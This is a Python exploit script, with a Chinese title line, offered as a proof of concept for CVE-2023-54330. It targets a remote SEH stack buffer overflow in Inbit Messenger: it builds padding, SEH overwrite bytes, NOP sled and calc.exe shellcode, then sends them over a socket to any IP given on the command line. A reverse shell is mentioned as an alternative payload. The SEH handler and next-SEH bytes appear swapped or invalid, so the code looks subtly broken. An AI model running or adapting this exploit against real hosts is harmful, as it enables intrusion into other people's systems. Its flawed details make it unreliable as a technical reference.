CVE-2023-54330 Inbit Messenger远程栈缓冲区溢出漏洞

import socket import sys def create_exploit_payload(): """ Generate exploit payload for CVE-2023-54330 Inbit Messenger SEH Overflow """ # Target port (commonly used by Inbit Messenger) target_port = 5555 # Generate padding to reach SEH overwrite offset # Adjust offset based on specific version offset_to_seh = 1008 padding = b'A' * offset_to_seh # SEH record overwrite # p/p/r - JMP to shellcode (near jump) seh_handler = b'\xeb\x06\x90\x90' # JMP +6 # Next SEH record (4 bytes) - points to our shellcode next_seh = b'\x90\x90\x41\x42' # Shellcode - calc.exe or reverse shell # Example: Execute calc.exe (Windows x86) shellcode = ( b'\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\x5b\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3' ) # Fill remaining space with NOPs nops = b'\x90' * (200 - len(shellcode)) payload = padding + next_seh + seh_handler + nops + shellcode return payload def exploit(target_ip, target_port=5555): """ Send exploit payload to target """ payload = create_exploit_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f'[*] Connected to {target_ip}:{target_port}') print(f'[*] Sending payload ({len(payload)} bytes)...') sock.send(payload) print('[+] Payload sent successfully') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 print(f'[*] Exploiting CVE-2023-54330 - Inbit Messenger SEH Overflow') exploit(target, port)